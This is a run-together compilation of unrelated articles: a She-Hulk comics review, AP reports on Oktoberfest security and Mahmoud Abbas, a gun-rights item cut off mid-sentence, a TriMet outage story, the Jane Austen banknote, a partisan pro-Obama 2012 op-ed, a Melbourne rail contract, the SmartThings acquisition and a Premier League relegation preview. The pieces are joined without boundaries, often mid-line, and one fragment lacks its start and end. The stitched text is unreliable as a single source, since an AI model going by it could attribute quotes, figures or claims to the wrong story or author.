Another aspect of the series that works in its favor (and that has often worked in the favor of some of the best superhero titles) is its strong supporting cast—fellow lawyers Augustus “Pug” Pugliese and Mallory Book, “Awesome Andy” (formerly the Mad Thinker’s Awesome Android) as a general office worker, Two-Gun Kid (the time-displaced former Avenger cowboy) as a form of bounty-hunter/bailiff, Ditto the shape-shifting gopher, comic book-obsessed law library interns, and Southpaw, the angsty teenaged super-villain granddaughter of one of the firm’s partners all serve as interesting companions and foils to She-Hulk. In addition there is a whole range of guest appearances ranging from Hercules to Damage Control to The Leader to a then dead (and later returned) Hawkeye. She-Hulk seeks to embrace, rather than obfuscate, the over-the-top and often incoherent mess of the Marvel Universe.
It is impossible to put myself in a position of someone unfamiliar with the history of the Marvel Universe to know if She-Hulk is the kind of series you can enjoy without that deep knowledge, but I think you can even if you have just some knowledge—even just a passing familiarity with the tropes of the superhero genre would be sufficient (as it is sufficient for an appreciation of something like Alan Moore’s Top Ten). Like any other valuable work, from Shakespeare’s to Junot Diaz’s, knowledge of its many allusions and references improves and deepens comprehension, but is not wholly necessary. Ultimately, the crazy details, characters and events of past stories that Slott dredges up are so absurd and contradictory that for all we know as readers they could be made up on the spot.
Whatever the case, Dan Slott’s She-Hulk is the kind of series that is probably best for long-time fans of Marvel Comics, who still look back fondly on its stories and characters, but have grown up enough to admit their absurdity and their reflection of problematic attitudes. Yes, She-Hulk exists within the skein of the Marvel Universe, and thus may be an example of what Lauren Berlant would call “cruel optimism.” This is when ”the object/scene of desire is itself an obstacle to fulfilling the very wants that bring people to it”—the “scene of desire” in this case being an entertaining and adult superhero comic book immersed in its convoluted continuity—as what there is to work with often recapitulates the very problems the reworking is trying to overcome. And yes, there is not much creators can do within that skein to make lasting change to an editorial approach and historical context that reinforces the social attitudes that makes She-Hulk “a skank” while Tony Stark is a “playboy.” But Slott’s work does work to question those attitudes in an explicit and entertaining way, even if when it comes time to answer them (like in the panels above) suddenly Zzzax strikes again.Munich ramps up Oktoberfest security after summer attacks
BERLIN (AP) — Munich authorities are ramping up security precautions for this year's Oktoberfest to reassure the millions of visitors expected to attend the event starting Saturday after Bavaria suffered three attacks in a week this summer.
Deputy Police Chief Werner Feiler told reporters Wednesday that the festival's approximately 30-hectare (75-acre) venue will be fenced to ensure all visitors go through security controls and the grounds will be monitored by multiple video cameras.
In addition, backpacks and large bags will be banned and additional officers will be on hand, Feiler said.
Employees prepare a sign at the main entrance of the 'Theresienwiese', the area of the Oktoberfest, in Munich, Germany, Wednesday, Sept. 14, 2016. Authorities are stepping up security for this year's Oktoberfest, which is expected to draw 6 million visitors in the Bavarian capital. The world's largest beer festival will be held from Sept. 17 to Oct. 3, 2016. (AP Photo/Matthias Schrader)
Though there is a "high abstract danger" of an attack at the 17-day festival, which is expected to draw 6 million visitors to the Bavarian capital, the deputy chief said authorities are unaware of any concrete security threats.
"Every visitor can feel secure at Oktoberfest," he said, adding that authorities would make the security measures as unobtrusive as possible so as not to impinge upon participants' fun.
Bavaria was shaken this summer by three attacks in a week. Two were carried out by asylum-seekers and claimed by the Islamic State group; several people were wounded, but only the attackers were killed.
In an unrelated incident, a teenager fatally shot nine people at a Munich mall before killing himself.
Bavaria's top security official, Interior Minister Joachim Herrmann, told The Associated Press there remains today a "fundamentally high risk of terror attacks in Germany overall."
"We don't see any special risk for Oktoberfest, but it's clear such an internationally known festival would naturally be a possible attack target," Herrmann said.
The festival, which dates back to 1810, boasts 14 festival halls this year where visitors will be able to foist liter-sized steins of special Oktoberfest beer brewed by the six major Munich breweries.
During times of peak attendance, Munich police plan to have some 600 officers on hand, about 100 more than last year. Another 450 security guards will be checking bags and performing other tasks. The number of security cameras has been raised to 29 from 19.
Given the size of Oktoberfest — on some days as many 600,000 visitors turn up — the atmosphere is generally friendly and the number of disruptive incidents few.
In the only major attack, a far-right extremist set off a bomb killing 12 people and himself in 1980, wounding more than 200.
A vague al-Qaida threat of an attack on Oktoberfest in 2009 led to tightened security measures.
Last year, police reported responding to a total of 2,017 incidents, including fistfights and stolen wallets and purses. Some 20 sexual crimes were reported, including one attempted rape.
The volunteer group "Secure Festival Grounds for Girls and Women," which has been helping at Oktoberfest since 2003, estimates the actual number of sexual crimes to have been much higher.
The festival runs Sept. 17 through Oct. 3. Beer this year will cost 10.40 euros ($11.70) to 10.70 euros a liter (2.1 pints), slightly more than last year.
People make their way besides a fence at the 'Theresienwiese', the area of the Oktoberfest, in Munich, Germany, Wednesday, Sept. 14, 2016. Authorities are stepping up security for this year's Oktoberfest, which is expected to draw 6 million visitors in the Bavarian capital. The world's largest beer festival will be held from Sept. 17 to Oct. 3, 2016. (AP Photo/Matthias Schrader)
A cyclist stops besides fences at the 'Theresienwiese', the area of the Oktoberfest, in Munich, Germany, Wednesday, Sept. 14, 2016. Authorities are stepping up security for this year's Oktoberfest, which is expected to draw 6 million visitors in the Bavarian capital. The world's largest beer festival will be held from Sept. 17 to Oct. 3, 2016. (AP Photo/Matthias Schrader)
An employee unloads fences at the 'Theresienwiese', the area of the Oktoberfest, in Munich, Germany, Wednesday, Sept. 14, 2016. Authorities are stepping up security for this year's Oktoberfest, which is expected to draw 6 million visitors in the Bavarian capital. The world's largest beer festival will be held from Sept. 17 to Oct. 3, 2016. (AP Photo/Matthias Schrader)
People make their way besides a fence at the 'Theresienwiese', the area of the Oktoberfest, in Munich, Germany, Wednesday, Sept. 14, 2016. Authorities are stepping up security for this year's Oktoberfest, which is expected to draw 6 million visitors in the Bavarian capital. The world's largest beer festival will be held from Sept. 17 to Oct. 3, 2016. (AP Photo/Matthias Schrader)
FILE - In this Sept. 20-, 2015 file photo musicians drink beer in a tent after the traditional costume and riflemen's parade on the second day of the 182. Oktoberfest beer festival in Munich, southern Germany, Sunday, Sept. 20, 2015. Munich authorities are ramping up security precautions for this year¿s Oktoberfest to reassure the anticipated millions of visitors after a deadly shooting rampage at a city mall this summer and two attacks claimed by the Islamic State group left Germans on edge. (AP Photo/Matthias Schrader, file)
FILE - In this sept. 19, 2015 file photo people celebrate the opening of the 182. Oktoberfest beer festival in Munich, southern Germany. Munich authorities are ramping up security precautions for this year¿s Oktoberfest to reassure the anticipated millions of visitors after a deadly shooting rampage at a city mall this summer and two attacks claimed by the Islamic State group left Germans on edge. (AP Photo/Matthias Schrader, file)BELLEVUE, WA –-(Ammoland.com)- Gun lovers are making all of the positive headlines this week. Thousands of CT residents refusing to register their firearms, The Boston Globe published an article showing the ineffectiveness of gun buyback programs, the Missouri Senate advanced a Bill that would nullify all federal anti-gun laws, and the NH State Legislature overwhelmingly voted against universal background checks.
We are only used to seeing negative headlines in the mainstream media concerning gun rights. All of this recent positive exposure shows our hard work is paying off, the balance of power is reversing, and the overall outlook on our Second Amendment Rights has never been more positive.
We must continue our unrelenting pressure on the anti-gunners to get the truth about gun rights to every person in our Country. The Second Amendment Foundation will not rest until every citizen's Second Amendment Rights are protected from coast to coast.
Connecticut passed outrageous anti-gun legislation in 2013 and it appears residents of the state are completely disregarding the new laws. 50,000 residents have registered their now classified “assault weapons”. The only catch is, the state estimates there could be as many as 350,000 “assault weapons” that citizens are choosing not to register.
The penalty for not registering these firearms is a class D felony. Unless they want to track down 300,000 law-abiding gun owners they should just scrap this draconian anti-gun law. These Second Amendment patriots are making a stand together and the country is hearing you loud and clear.
Registering a firearm is just about the last thing a law-abiding gun owner wants to do.
The Boston Globe recently published an article on the ineffectiveness of gun buyback programs. Below is what we already knew about gun buyback programs but now is out there for the public to see:
“…there is no compelling evidence that gun buyback programs are an effective crime-fighting tool or that they reduce the rates of crime,” said Jon Vernick, co-director of Johns Hopkins Center for Gun Policy and Research “… A 2003 study of buyback programs nationwide by Anthony Braga, a crime specialist who is now a professor at Rutgers University, found that the programs had no impact on gun crime or gun-related injuries, and that the programs do not target |
was intended to “lament what’s happened: the loss of innocence, the crimes that have taken place.”
Athletic Director Taber also stressed the importance of community in his post.
“I know this is a very troubling time for our students, staff and our community. It is very important that we stick together,” Taber wrote. “We will be strong and get through this together.”
He ended his somber note, with: “Go Bears!!!”Palestinian Authority President Mahmoud Abbas on Wednesday said US President Trump’s decision to recognize Jerusalem as Israel’s capital and move the US Embassy from Tel Aviv to Jerusalem has ended Washington’s historic role as the key sponsor for Israel-Palestinian peace talks, and called for an emergency meeting of the Palestinian leadership.
“These reprehensible and rejected measures constitute a deliberate undermining of all peace efforts,” said Abbas of Trump’s decision.
Abbas said Trump’s speech “represents a declaration that the United States has withdrawn from playing the role it has played in the past decades in sponsoring the peace process.”
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Abbas accused Trump of “violating international resolutions and bilateral agreements,” and said the decision was a “reward to Israel for denying agreements and defying international legitimacy that encourages it to continue the policy of occupation, settlement, apartheid and ethnic cleansing.”
Since the early 1990s, the US has been the key mediator for peace talks between Israelis and Palestinians.
Earlier Trump broke with decades of US and international policy by recognizing Jerusalem as Israel’s capital and said he had directed the US State Department to begin the process of moving the US Embassy from Tel Aviv to Jerusalem as required by US law.
Trump maintained that his decision would not compromise the city’s geographic and political borders, which will still be determined by Israel and the Palestinians.
The Palestinian leader said he was calling for an “emergency meeting” of the Palestine Liberation Organization’s Central Committee to create a “unified national position” and put “all options before it.”
Abbas’s Fatah party earlier called for any protests of the US decision to be non-violent.
Trump’s Mideast peace team has held months of meetings with Israeli, Palestinian and Arab leaders for nearly a year ahead of an expected peace proposal.
By recognizing Israel’s claim to Jerusalem, Trump is seen by the Palestinians as siding with Israel on the most sensitive issue in the conflict. The Palestinians seek east Jerusalem — which Israel captured in 1967 — for their capital.
Abbas struck a defiant note in his remarks, saying that the American move would not change the reality on the ground.
“President Trump’s decision tonight will not change the reality of the city of Jerusalem, nor will it give any legitimacy to Israel in this regard, because it is an Arab Christian and Arab Muslim city, the capital of the eternal state of Palestine,” Abbas said.
Fatah is currently amid a stalled reconciliation process with the Hamas terror group that controls the Gaza Strip to end 10 years of Palestinian division between the West Bank and the Gaza Strip.
Abbas said the Jerusalem decision should serve as an incentive for Palestinian factions to end their division and unite.
“This historic moment should serve as an additional incentive for all of us to accelerate and intensify efforts to end division and restore Palestinian national unity to ensure the victory of our people in their struggle for freedom and independence,” he said.
“In close coordination with our friends from all over the world, we will remain a united front defending Jerusalem, peace and freedom and winning the rights of our people to end the occupation and achieve its national independence,” Abbas concluded.
Times of Israel staff and agencies contributed to this report.TriMet said it will again waive fares Thursday as it recovers from a major computer malfunction, but riders should expect delays in the afternoon as temperatures rise.
The agency continued to suffer intermittent network outages on Wednesday affecting its computer-aided dispatch and payment processing systems. The outages also rendered the agency's website and arrival-time tracker inaccessible at times.
The agency said Wednesday morning it would not inspect fares or expect payments that day. Late Wednesday night, it announced it would continue to waive fares through Thursday as it brings its payment systems back online and conducts tests.
The network issues have persisted since Saturday, when a planned system upgrade went awry. Agency officials blamed a faulty piece of hardware.
Portland heat wave: Thursday shaping up as hottest day of the year The National Weather Service says the record high for Aug. 3 in Portland was set in 1952, when daytime temperatures hit 99 degrees. Thursday's expected high: 106 degrees.
Meanwhile, the extreme heat has caused delays throughout the transit system, and temperatures are expected to top 100 degrees, according to the National Weather Service.
At 90 degrees, MAX trains will slow by 10 mph in high-speed zones, where trains typically travel up to 55 mph. The precaution is intended to prevent damage from drooping overhead wires or derailments cause by tracks deformed by heat.
At 100 degrees, MAX will travel no faster than 35 mph.
WES commuter rail, meanwhile, will slow to 30 mph if temperatures reach 95 degrees and suspend service if it reaches 105 degrees. In that event, stations will be served by shuttle buses, TriMet said.
Why do TriMet MAX and WES trains have to slow down in the heat? (Commuting Q&A) When the mercury rises, MAX trains are required by TriMet's own rules to slow down, causing delays that ripple through the system. The good news is that TriMet is trying to fix this summertime drag.
Buses might also overheat or see crowding as riders try to avoid rail delay.
Because of a continued outage at its call center, the Lift paratransit service will provide life-sustaining trips only, the agency said.
-- Elliot Njus
enjus@oregonian.com
503-294-5034
@enjusMedia playback is unsupported on your device Media caption People from Jane Austen's hometown of Alton give their views on the note
Author Jane Austen is to feature on the next £10 note, the Bank of England says, avoiding a long-term absence of women represented on banknotes.
The Pride and Prejudice author will be the next face of the note, replacing Charles Darwin, probably in 2017.
Chancellor George Osborne tweeted the move showed "sense and sensibility".
In April, the Bank prompted a high-profile campaign against the prospect of having no female characters, besides the Queen, on the UK's currency.
It had announced that Sir Winston Churchill would be put on the £5 note from 2016, replacing social reformer Elizabeth Fry.
The latest announcement means that women could be absent from newly issued banknotes for up to a year, although the Elizabeth Fry £5 note will still be in circulation.
'In the wings'
On Twitter, Mr Osborne wrote: "[Incoming Bank of England governor] Mark Carney's choice of Jane Austen as face of £10 note is great. After understandable row over lack of women, shows sense and sensibility."
Banknotes are regularly redesigned, in order to maintain security and prevent forgeries.
Banknotes around the world Denmark has six different note denominations, half of which showed famous Danish women (Karen Blixen, Anna Ancher and Johanne Luise Heiberg)
US banknotes mostly celebrate former presidents and signatories to 1776 declaration of independence, all of whom are men
The Queen appears on more denominations than anyone else - she features on currency in Australia, Canada, New Zealand and the UK
The most recent new design from the Bank of England to enter circulation was the £50 note. This features Matthew Boulton and James Watt, who were most celebrated for bringing the steam engine into the textile manufacturing process.
The decision to replace Elizabeth Fry on the £5 note prompted protests and discussions about female representation on banknotes, but Jane Austen was thought to have already been part of the Bank's plans for the next new note.
Sir Mervyn King, in his last public appearance as governor of the Bank, said the author was "quietly waiting in the wings" to replace Darwin.
Mr Carney started discussions about female representation on banknotes on his first day in office.
Media playback is unsupported on your device Media caption Mark Carney discusses women on banknotes and in the Bank of England
The Bank said in a statement that it was "never the Bank's intention" that none of the four characters on banknotes would be a woman.
"Jane Austen certainly merits a place in the select group of historical figures to appear on our banknotes. Her novels have an enduring and universal appeal and she is recognised as one of the greatest writers in English literature," Mr Carney said.
He also announced a review of the selection process for future banknote characters. Jane Austen will be the 17th historical figure to appear on Bank of England notes. The review will be completed by the end of the year.
Campaign
The pressure was increased on the new governor through protests, an online petition - signed by 35,000 people, and a threat of legal action.
Image caption Caroline Criado-Perez led a campaign for more female representation on banknotes
The campaign was led by Caroline Criado-Perez, from Rutland, who was invited to speak to Bank officials about the situation earlier in July.
She described the expected announcement as "a brilliant day for women and a fantastic one for people power".
"We warmly welcome this move from the Bank and thank them for listening to us and taking such positive and emphatic steps to address our concerns," she said.
"To hear Jane Austen confirmed is fantastic, but to hear the process will be comprehensively reviewed is even better.
The money raised for a legal challenge will now be donated to women's charities the Fawcett Society, Women's Aid and Rape Crisis.
Banknote features
Jane Austen, who lived from 1775 to 1817, became one of the country's most celebrated novelists. She was born in Hampshire as one of eight children.
Image caption Jane Austen is one of the country's most celebrated authors. She died in 1817
She began to write as a teenager. Her first novel, Sense and Sensibility, appeared in 1811. She described her next novel, Pride and Prejudice, as her "own darling child".
Her other published novels were Mansfield Park, Emma, Persuasion and Northanger Abbey - the final two of which were published after her death.
Most of her novels were published anonymously.
The portrait of Jane Austen, which will appear on the banknote, is adapted from a sketch drawn by her sister Cassandra Austen. Other features include:
A quote from Pride and Prejudice - "I declare after all there is no enjoyment like reading!"
An illustration of Elizabeth Bennet, one of the characters in Pride and Prejudice
An image of Godmersham Park in Kent - the home of Jane Austen's brother, Edward Austen Knight, and the inspiration for a number of novels
A central background design of the author's writing table which she used at home at Chawton Cottage in Hampshire
Fellow writers William Shakespeare and Charles Dickens have appeared on banknotes in recent times. Dickens was on the £10 note and Shakespeare on the £20 note.
Bank of England notes can be spent throughout the UK. In addition, three banks in Scotland and four in Northern Ireland are authorised to issue banknotes.FILE - In this Oct. 19, 2012 file photo, President Barack Obama speaks about choice facing women in the election, during a campaign event at George Mason University in Fairfax, Va. As the election nears, Republicans and Democrats alike say Medicare is working to their political advantage in campaigns for the White House and Congress. They can't both be right, and no matter which side is, this is one campaign clash with consequences extending well beyond Nov. 6. Given the millions that both sides are spending, the winner of the presidential election may be able to claim a Medicare mandate. (AP Photo/Susan Walsh, File)
As Election Day grows closer, some pundits seem almost breathless in their prediction that the Presidential election will be close. Well, of course it will be close. It has been obvious from the campaign's first day that it would be close. But there is overwhelming evidence that President Obama will win.
Why is the race so close?
1). First and foremost, the Republicans' trickledown, let-Wall-Street-run-wild policies sent the economy into a catastrophic recession just as Obama took office. This was not your run of the mill business cycle recession. It was caused by a financial collapse the likes of which America had not seen since the Great Depression.
The historic evidence is very clear that whenever there is a recession induced by a financial collapse, it take years for an economy to recover. American did not fully recover from the Great Depression itself until World War II -- almost twelve years after the stock market collapsed.
Had the Republicans remained in office and responded as Republican President Hoover did in 1929, the same fate could have awaited America once again. But instead, the Obama Administration moved immediately to stimulate the economy and shore up the financial system -- and especially to rescue the auto industry -- using policies that in most cases the GOP opposed.
Those policies have set the economy on a path toward sustained growth. But the Republicans have been hell-bent on stalling growth with the expressed purpose of defeating Obama this fall. They have sabotaged the economy by preventing even a vote on the Americans Jobs Act that most economists believe would create another 1.7 million jobs and would have prevented massive layoffs in state and local governments.
Mitt Romney is like an arsonist who complains that the fire department isn't putting out his fire fast enough, then tries to convince America to allow him to take over the effort armed with buckets of gasoline -- the same failed policies that caused the fire in the first place.
But the Republicans are right about one thing. It's hard to get re-elected in a tough economic environment -- even one that is improving. That is the main reason this election is close. If unemployment were at six percent, Obama would be re-elected by the same kind of electoral vote margins the Bill Clinton piled up in 1996.
2). The election is close because Wall Street -- and super-wealthy right-wing oil tycoons like the Koch Brothers -- have spent huge amounts of money to defeat Obama. This week alone, Romney and his outside group allies have booked $57 million in TV time.
Their financial advantage has been neutralized by the spectacular Obama fundraising operation -- particularly the incredible small donor program that has raised funds from over 10 million individual contributions.
And its effect has also been ameliorated by the fact that TV spots can be bought by both campaigns at the lowest possible rate, and super PACs or outside groups must spend much more per television viewer.
But the fact remains that all of those negative attack ads about Obama have kept the race close.
3). The American electorate is closely divided. In 2008 the economy had collapsed under Republican rule. The GOP candidate was not very popular. And the Republican incumbent President was downright radioactive. Regardless, the Republican candidate still got 47 percent of the popular vote.
Of course the race will be close.
But there are at least eight very good reasons why Obama will win. The first four have to do with extreme right wing policies Romney has advocated that have made it clear to key blocks of voters that he is simply not on their side.
1). Romney's advocacy of the "free market uber allies" view that we should have "let Detroit go bankrupt" may be his most costly single mistake. His position has crippled his campaign in the crucial industrial Midwest -- especially Michigan, Wisconsin and Ohio. There are 780,000 auto-related jobs in Ohio alone. The auto rescue is one of the key reasons why unemployment in Ohio is well below the national average. His opposition to the auto rescue alone may be enough to cost him Ohio -- and the election.
2). Romney's embrace of extremist positions that require the government to get involved in personal decisions about women's reproductive health -- especially contraception and abortion -- help drive a huge and continuing gender gap. A recent Gallup poll found that these questions were the most important electoral issue to nearly 40 percent of women -- more important than the economy. Bottom line for most women: "my body, my business." Romney has aligned himself with the most extreme anti-choice views -- represented by his running mate Paul Ryan. If elected, he could potentially select three justices to the Supreme Court that could ban access to abortion altogether. That's enough by itself to alienate a big block of women voters.
3). Romney's statements about "self deportation," vetoing the Dream Act, the Arizona "papers please" law, have made him toxic to many recent immigrants -- and especially to Hispanics -- the fastest growing voting block in America. That will cost him dearly in swing states of Nevada -- where Obama has a large lead -- as well as Colorado and Florida, where the race is very tight.
4). Romney has supported Paul Ryan's plan to eliminate Medicare and convert it to a voucher program that would raise out of pocket costs to seniors by $6,500 a year. That position is enough to decide the votes of many older Americans -- a fact that could be determinative in states like Ohio, Pennsylvania, and especially Florida.
5). Obama has articulated a far more compelling agenda than Romney. It will become even clearer during the last weeks of the campaign that Obama has a program that can build long-term prosperity for the middle class, while Romney's trickle down policies will benefit only the wealthy -- and will fail to create long-term growth.
We have had two great economic experiments in America during the last thirty years. The Clinton policies during the 1990's that grew the economy from the middle out, invested in education, infrastructure and long-term economic growth, and made the wealthy pay their fair share of taxes. That experiment ended with the most prosperous period in human history, budget surpluses as far as the eye could see, and 22 million new jobs.
The other experiment was conducted by George Bush and the Republicans. He cut taxes for the wealthy, tried to grow the economy from the top down, let Wall Street run wild, and conducted two wars without paying for them. The result was a massive increase in Federal deficits, zero net private sector job growth, and the worst economic collapse since the depression. You choose.
6). Democrats have largely defeated a systematic Republican voter suppression program. In Pennsylvania the attempt to suppress the vote by requiring state ID's that could not be provided in time for Election Day was stopped by the courts.
Ohio's Republican Secretary of State Jon Husted's desperate attempts to block robust early voting -- especially the weekend before the election -- was ultimately snuffed out by the U.S. Supreme Court last week. Ninety three thousand people voted on the weekend before the 2008 election in Ohio, and they went heavily Democratic in large measure because of the Democratic "souls to the polls" program that got predominantly African American congregations to go vote immediately after their Sunday services. That, by itself, could decide the election.
7). The Obama ground game is utterly superior to its Republican counterpart. In many swing states the Obama ground operation never left after Election Day in 2008. Now it has vastly more volunteers, field offices, experienced organizers and sophisticated social media mechanisms. And in the run-up to the election it has outgunned the GOP in terms of voter contacts.
All you need to do is look at the early vote numbers. In Iowa a recent PPP poll found that 32 percent of voters have already cast their ballots and they are breaking for Obama 64 percent to 35 percent. You see the same trend throughout the key battlegrounds.
Remember, early votes are not simply cast by voters that would otherwise go to the polls on Election Day. Many are lower-propensity voters who get to the polls when it is convenient. And by banking huge numbers of votes before November 6th, Democrats are allowing themselves to concentrate their Get Out the Vote efforts on additional hard-to-get-out voters on Election Day.
8). Obama is just a better candidate than Romney.
There are nine qualities that, in my experience, are generally used by swing voters to evaluate candidates:
Who is on my side?
Does the candidate have strongly held values -- Is he committed to something other than himself?
Is the candidate a strong, effective leader?
Does the candidate respect me?
Do I like or make an emotional connection with the candidate?
Is the candidate self-confident?
Does the candidate have integrity?
Does the candidate have vision?
Does the candidate inspire me?
When you evaluate Obama and Romney against those nine qualities, Obama wins in every category.
Romney is the embodiment of an out-of-touch plutocrat who will say anything to get elected. He is a guy who, throughout his career, was happy to close plants and outsource jobs, and destroy other people's lives, if it would make him and his investors more money. And if he is elected president, he will be beholden first and foremost to his new investors, the same way he was at Bain Capital, except in the case of this election, Romney's investors include mainly ultra-rightwing billionaires.
And can you imagine Mitt Romney representing America around the world? This is the guy who turned a "good will" trip, aimed at highlighting his foreign policy chops, into a "blooper reel." This was strong, effective leadership?
9). When given a choice between true progressive American values and the values of extreme individualism and greed, progressive values trump every time.
The fact is that most Americans believe that we are our brothers' and sisters' keepers. We believe that we're all in this together, that everyone should have a fair shot, pay their fair share and play by the same rules. We believe in the values of our soldiers who refuse to leave any of the comrades behind. Those are the values we were taught by our parents. Those are the values we learned in Sunday School.
"Greed is good" is not a family value. Americans don't believe that we succeed when everyone simply looks out for themselves, and ignores the common good.
Americans do not believe that we should have a society where the wealthiest one percent among us prospers, and the ninety nine percent does not.
We do not believe that 47 percent of our fellow Americans refuse to take responsibility for their lives. Mitt Romney does.
There hasn't been an election since World War II where the choice is clearer between a candidate who embodies mainstream progressive American values -- and one that that does not.
Those are the reasons I believe that Barack Obama will win re-election on November 6th. But that outcome rests squarely on the assumption that tens of thousands of ordinary Americans will do whatever is necessary -- personally -- to convince those last swing voters and turn our votes out to the polls.
If you want to make this prediction come true, it's up to you to get off the sidelines and stream out on to the field to join the army of volunteers who have devoted millions of hours to assure victory.
The right wing is still counting on progressives -- and on ordinary people of all sorts -- to stay home from the polls. They are counting on us to be dispirited and disengaged.
They will be wrong.
We will not allow them to destroy Medicare and Social Security.
We will not allow them to continue siphoning all of the increases in productivity and national income to the top 1 percent of the population.
We will not allow them to send women's rights back to the 1950's.
We will not allow them to demonize immigrants.
And we will not allow them to destroy the American middle class.
More than anything else, that is why we will win. Because we make it so.Feel free to publish this article on your website. We just ask that you do not edit the article and ensure that the author is correctly attributed! Just copy the code below into your CMS.
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$1.6 billion contract signed for Dandenong corridor level crossing removals
An alliance of companies including Lend Lease, CPB Contractors, WSP Parsons Brinckerhoff, Aurecon and Metro Trains Melbourne has been formally awarded the contract for the Caulfield to Dandenong level crossing removal project.
The Treasurer, Tim Pallas, said "the project will deliver more room, on more trains to carry more people on Melbourne's busiest rail line. It's needed now, and we're not going to waste a day - we're going to get it done".
Site preparation works - including installing fences - are set to begin at the end of the month.
The Level Crossing Removal Authority has also published its Consultation Outcomes and Submissions Report on its website which summarises the thousands of pieces of feedback it received up to and including in its latest round of consultation.
In another sign that the State Government is serious about creating a larger rail engineering talent pool, the Level Crossing Removal Authority recently announced that applications are now open for its Railway Signalling Engineer Cadet Program.
The program will offer recent engineering graduates and qualified engineers wanting to transition into the rail industry, the opportunity of a three-year paid position along with real hands-on experience, and a fully sponsored Graduate Diploma in Railway Signalling Engineering. In years two and three, cadets will also undertake a Graduate Diploma in Rail Signalling Engineering to ensure they leave the program with the skills, experience and competencies to fast track their career as a rail signalling engineer. The program is open to recent engineering graduates who completed their degree since 2015, and qualified engineers with at least five years of professional experience, wanting to transition into the rail industry. Cadets will be employed by one of the seven industry partners: the Level Crossing Removal Authority, CPB Contractors, John Holland Group, Melbourne Metro Rail Authority, Metro Trains Melbourne, Opus Rail and United Group Limited. Level Crossing Removal Authority
Further reading
This article is republished from Urban.com.au under a Creative Commons license. Read the original article.SmartThings, Samsung, and the Open Platform
Friends,
Today is a big day for SmartThings. I’m excited to announce that SmartThings has been acquired by Samsung and will operate as an independent company within Samsung’s Open Innovation Center group.
It has always been our goal to create a totally open smart home platform that brings together third-party developers, device makers, and consumers. We’re thrilled that Samsung fully supports this vision.
We will continue to run SmartThings the way we always have: by embracing our community of customers, developers, and device makers and championing the creation of the leading open platform for the smart home. Our growing team will remain fully intact and will relocate to a new headquarters in Palo Alto, CA. In short: SmartThings will remain SmartThings.
We believe that there is an enormous opportunity to leverage Samsung’s global scale to help us realize our long-term vision. While we will remain operationally independent, joining forces with Samsung will enable us to support all of the leading smartphone vendors, devices, and applications; expand our base of developers and enhance the tools and programs that they rely on; and help many more people around the world easily control and monitor their homes using SmartThings.
We’re tremendously excited about the possibilities ahead, and owe a heartfelt thank you to the people who have helped us get here: our amazing customers and supporters. To all of our earliest Kickstarter backers who believed in our vision; to our incredible investors and advisors, to our partners who have helped us spread the word, to our community of developers whose contributions continue to propel the open platform, to our all of our customers whose feedback, encouragement, and stories have driven us; and to our wonderful and growing team whose tireless work has helped propel us to where we are today: We cannot thank you enough.
Onward!
– Alex
RelatedBurnley and QPR look doomed, Sunderland need to make their game in hand count, Hull City are clinging on valiantly, Newcastle are in complete disarray, Leicester City are lifting their heads from the sand and Aston Villa should escape
If you want some drama from your league football this spring, go to Spain, where Barcelona and Real Madrid look likely to be competing for the title until the last day, or turn your attention to the Veikkausliiga in Finland, which has turned the humdrum business of ranking football teams into an art form. The Premier League title race was over before it started, with the best team, player and manager securing their prize with three games to spare. At least the relegation battle should offer us some excitement in the coming weeks. We’ve compiled a list of the contenders, their remaining fixtures and their recent results. Which clubs are going down?
Aston Villa, 14th, 35 points
Facebook Twitter Pinterest Tom Cleverley celebrates after scoring for Aston Villa against Everton. Photograph: Matthew Childs/Reuters
Remaining fixtures
Aston Villa v West Ham, 9 May
Southampton v Aston Villa, 16 May
Aston Villa v Burnley, 24 May
Last five results
Aston Villa 3-2 Everton
Manchester City 3-2 Aston Villa
Tottenham Hotspur 0-1 Aston Villa
Aston Villa 3-3 QPR
Manchester United 3-1 Aston Villa
Will they stay up?
Most probably. Tim Sherwood’s team are scoring goals home and away, they have a habit of pulling off unlikely victories – as they showed on their run to the FA Cup final – and their three remaining fixtures are winnable. Burnley could be relegated by the time they visit Villa Park on the last day of the season and Southampton’s away record has been poor in recent weeks. Villa might not go into the FA Cup final on a wave of euphoria but expect three other clubs to finish below them.
Newcastle United, 15th, 35 points
Facebook Twitter Pinterest Newcastle United fans protest against the owner of their club, Mike Ashley. Photograph: Alex Morton/Reuters
Remaining fixtures
Newcastle v West Brom, 9 May
QPR v Newcastle, 16 May
Newcastle v West Ham 24 May
Last five results
Leicester 3-0 Newcastle
Newcastle 2-3 Swansea City
Newcastle 1-3 Tottenham Hotspur
Liverpool 2-0 Newcastle
Sunderland 1-0 Newcastle
Will they stay up?
It’s 50-50. The fans hate the owner, the manager has turned on his players and the team have lost their last eight league games, but they might just have secured enough points to survive. It seemed unfathomable at the turn of the year but, if Newcastle are still in the Premier League next season, they will owe a debt of thanks to Alan Pardew, who was cheered out of the club at the start of January while they sat in 10th place.
They collected 27 points in 20 matches under Pardew and a relegation battle did not look likely, but John Carver’s reign has been an utter shambles: the caretaker manager has produced 11 defeats, two draws a grand total of two victories from his 15 games in charge. That’s a win percentage of 13%. It’s not all Carver’s fault, of course. Newcastle’s business model necessarily requires them to sit in the lower half of the Premier League, but Carver cannot absolve himself completely from the run of defeats that have occurred under his watch.
With matches against QPR, who have won two away matches all season, and West Ham, who have little left to play for, Newcastle should be able to gather enough points. But their survival is likely to rest on the ineptitude of others rather than their own fighting spirit.
Leicester City, 16th, 34 points
Facebook Twitter Pinterest Leonardo Ulloa celebrates after scoring Leicester’s third goal against Newcastle on 2 May. Photograph: Ross Kinnaird/Getty Images
Remaining fixtures
Leicester v Southampton, 9 May
Sunderland v Leicester, 16 May
Leicester v QPR, 24 May
Last five results
Leicester 3-0 Newcastle
Leicester 1-3 Chelsea
Burnley 0-1 Leicester
Leicester 2-0 Swansea
West Brom 2-3 Leicester
Will they stay up?
With five wins in their last six matches, it looks increasingly likely. Leicester’s recent renaissance has been staggering: 44% of the points they have picked up this season have been won since the start of April.
Nigel Pearson has enjoyed a remarked few weeks. Isn’t he fun? Pearson seems to be conducting his own private experiment on the importance of press conferences. We all imagine that things said before and after matches matter, but Pearson is tearing that logic apart. The more ridiculous he sounds, the better his team perform.
His bizarre line about ostriches had the press scrambling around for old videos of Kevin Keegan and Joe Kinnear, but his players were clearly unmoved. Pat Murphy of the BBC might not approve of Pearson’s style – he turned up to Leicester with the pompous tone of a haughty schoolmaster to tell him that he “had made a fool of himself”, “was in danger of being seen as a paranoid bully” and might consider taking anger management classes. Pearson laughed him off, safe in the knowledge that his team are winning football matches. At least it gave us something to talk about while Chelsea were winning all of their matches on snooze mode.
